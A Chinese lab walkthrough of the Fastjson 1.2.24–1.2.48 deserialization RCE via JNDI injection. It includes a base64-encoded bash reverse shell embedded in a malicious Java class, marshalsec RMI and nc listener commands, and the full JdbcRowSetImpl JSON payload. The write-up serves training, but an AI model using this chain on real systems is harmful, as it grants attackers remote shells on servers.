
!quote 参考文档 https://app.nextcyber.cn/courses/70/tasks/787
Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
Fastjson 反序列化远程命令执行漏洞(影响版本:1.2.24 ~ 1.2.48)的触发需同时满足以下 3 个核心条件:
JSON.parse()、JSON.parseObject()等方法处理外部传入的 JSON 数据),且未对输入内容做严格过滤;com.sun.rowset.JdbcRowSetImpl),且支持 JNDI(Java Naming and Directory Interface,Java 命名和目录接口)协议调用(如 RMI/LDAP),可通过该协议加载远程恶意类。该漏洞的核心是Fastjson 白名单绕过 + JNDI 注入的组合利用:Fastjson 1.2.48 前版本对反序列化类的白名单校验存在逻辑缺陷,攻击者可通过构造特殊 JSON 格式(利用@type字段指定恶意类)绕过检测,触发com.sun.rowset.JdbcRowSetImpl等危险类的实例化;此类实例化过程中会读取dataSourceName属性的值并通过 JNDI 协议(如 RMI)去请求远程服务器上的恶意类;当目标服务器加载并执行该恶意类时,攻击者预先写入的恶意代码(如命令执行逻辑)便会在目标服务器上触发,最终实现远程命令执行。
flowchart TD
A[攻击者构造特殊JSON Payload] -->|包含@type指定JdbcRowSetImpl+JNDI地址| B[目标服务器接收JSON数据]
B --> C[Fastjson执行JSON.parse()反序列化]
C --> D[Payload绕过checkAutoType()白名单校验]
D --> E[实例化com.sun.rowset.JdbcRowSetImpl类]
E --> F[调用setAutoCommit()方法]
F --> G[解析dataSourceName中的JNDI地址]
G --> H[向攻击机RMI/LDAP服务发起请求]
H --> I[加载攻击机上的恶意Java类]
I --> J[恶意类在目标服务器执行]
J --> K[实现远程命令执行(如反弹Shell)]
L[攻击机准备工作] -->|1.编译恶意Java类 2.启动RMI服务 3.启动NC监听| A!NOTE 靶场信息# 攻击机IP 10.132.1.111 # 靶机IP 10.22.26.116
bash -i >& /dev/tcp/10.132.1.111/7777 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzIuMS4xMTEvNzc3NyAwPiYxMyFastjson.java:
import java.lang.Runtime;
import java.lang.Process;
public class MyFastjson {
static {
try {
Runtime rt = Runtime.getRuntime();
// bash -i >& /dev/tcp/10.132.1.111/7777 0>&1
String[] commands = {"/bin/bash","-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzIuMS4xMTEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}编译该文件,并部署到6666端口:
javac MyFastjson.java
python -m http.server 6666!success 运行结果┌──(kali㉿kali)-[~/demo] └─$ vim MyFastjson.java ┌──(kali㉿kali)-[~/demo] └─$ javac MyFastjson.java ┌──(kali㉿kali)-[~/demo] └─$ ls marshalsec-0.0.3-SNAPSHOT-all.jar MyFastjson.class MyFastjson.java ┌──(kali㉿kali)-[~/demo] └─$ python -m http.server 6666 Serving HTTP on 0.0.0.0 port 6666 (http://0.0.0.0:6666/) ...
┌──(kali㉿kali)-[~/demo]
└─$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://10.132.1.111:6666/#MyFastjson" 9999
* Opening JRMP listener on 9999┌──(kali㉿kali)-[~]
└─$ nc -lvnp 7777
Listening on 0.0.0.0 7777POST / HTTP/1.1
Host: 10.22.26.116:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/json
Content-Length: 263
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://10.132.1.111:9999/fastjson",
"autoCommit":true
}
}
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。